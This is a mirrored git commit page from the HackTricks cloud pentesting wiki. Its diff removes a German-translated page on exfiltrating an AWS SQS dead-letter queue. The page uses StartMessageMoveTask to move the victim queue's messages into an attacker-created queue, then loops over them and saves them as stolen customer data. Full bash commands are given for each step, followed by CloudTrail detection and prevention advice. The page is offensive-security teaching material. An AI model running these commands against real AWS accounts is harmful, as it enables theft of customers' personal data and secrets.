gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-28 13:43:24 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

Browse Source
This commit is contained in:
Translator
2025-10-25 16:04:14 +00:00
parent 530a195989
commit 73dfb027df
3 changed files with 150 additions and 196 deletions
Download Patch File Download Diff File Expand all files Collapse all files

154
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -1,154 +0,0 @@
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Description
Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` an eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt AWS' legitime message recovery-Funktion zur exfiltration sensibler Daten, die sich im Laufe der Zeit in DLQs angesammelt haben.
## What is a Dead-Letter Queue (DLQ)?
Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch gesendet werden, wenn sie von der Hauptanwendung nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten häufig:
- Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
- Fehlerdetails und Debugging-Informationen
- Personenbezogene Daten (PII)
- API-Tokens, Zugangsdaten oder andere Geheimnisse
- Geschäftskritische Transaktionsdaten
DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind deshalb wertvolle Ziele, da sie im Laufe der Zeit sensible Daten ansammeln, die Anwendungen nicht richtig verarbeiten konnten.
## Attack Scenario
**Beispiel aus der Praxis:**
1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Inventarprobleme, etc.) und werden in eine DLQ verschoben
3. **DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Angreifer erlangt Zugriff** auf AWS-Anmeldeinformationen mit SQS-Berechtigungen
5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
6. **Anstatt zu versuchen, auf einzelne Nachrichten zuzugreifen** (langsam und auffällig), verwendet der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten in einer Massenoperation in seine eigene Queue zu verschieben
7. **Angreifer extrahiert** alle historischen sensiblen Daten in einer Operation
## Requirements
- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue per RedrivePolicy referenziert).
- IAM-Berechtigungen (ausgeführt als der kompromittierte Opfer-Principal):
- Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Für Ziele im selben Account ist dies typischerweise standardmäßig erlaubt.
- Wenn SSE-KMS aktiviert ist: auf der Quell-CMK `kms:Decrypt`, und auf der Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Impact
Exfiltrate sensible Nutzlasten, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads), mit hoher Geschwindigkeit unter Nutzung der nativen SQS-APIs. Funktioniert kontoübergreifend, wenn die Policy der Ziel-Queue `SendMessage` vom Opfer-Principal erlaubt.
## How to Abuse
- Identifiziere die ARN der Opfer-DLQ und stelle sicher, dass sie tatsächlich von einer Queue als DLQ referenziert wird (jede Queue ist ausreichend).
- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte deren ARN.
- Starte eine Message-Move-Task von der Opfer-DLQ zu deiner Ziel-Queue.
- Überwache den Fortschritt oder breche bei Bedarf ab.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
**Szenario**: Ein Angreifer hat AWS-Anmeldeinformationen kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Kundenbestellverarbeitung enthält.
1) **Die Opfer-DLQ entdecken und untersuchen**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Erstelle eine vom Angreifer kontrollierte Ziel-Queue**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Führe das bulk message theft aus**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Sammeln der gestohlenen vertraulichen Daten**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Cross-Account-Hinweise
- Die Ziel-Queue muss eine Resource Policy enthalten, die dem betroffenen Principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS-Grants/Berechtigungen).
## Warum dieser Angriff effektiv ist
1. **Legitime AWS-Funktion**: Nutzt integrierte AWS-Funktionalität, was es schwer macht, als bösartig erkannt zu werden
2. **Massenoperation**: Überträgt schnell tausende Nachrichten statt langsamen Einzelzugriffs
3. **Historische Daten**: DLQs speichern über Wochen/Monate sensible Daten
4. **Unauffällig**: Viele Organisationen überwachen den Zugriff auf DLQs nicht genau
5. **Cross-Account-fähig**: Kann an das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen dies erlauben
## Erkennung und Prävention
### Erkennung
Überwachen Sie CloudTrail auf verdächtige `StartMessageMoveTask` API-Aufrufe:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### Prävention
1. **Prinzip der geringsten Privilegien**: Beschränken Sie die Berechtigung `sqs:StartMessageMoveTask` auf nur notwendige Rollen
2. **DLQs überwachen**: Richten Sie CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
3. **Kontoübergreifende Richtlinien**: Überprüfen Sie SQS-Queue-Richtlinien, die kontoübergreifenden Zugriff erlauben, sorgfältig
4. **DLQs verschlüsseln**: Verwenden Sie SSE-KMS mit eingeschränkten Schlüsselrichtlinien
5. **Regelmäßige Bereinigung**: Lassen Sie sensible Daten nicht unbegrenzt in DLQs ansammeln
{{#include ../../../banners/hacktricks-training.md}}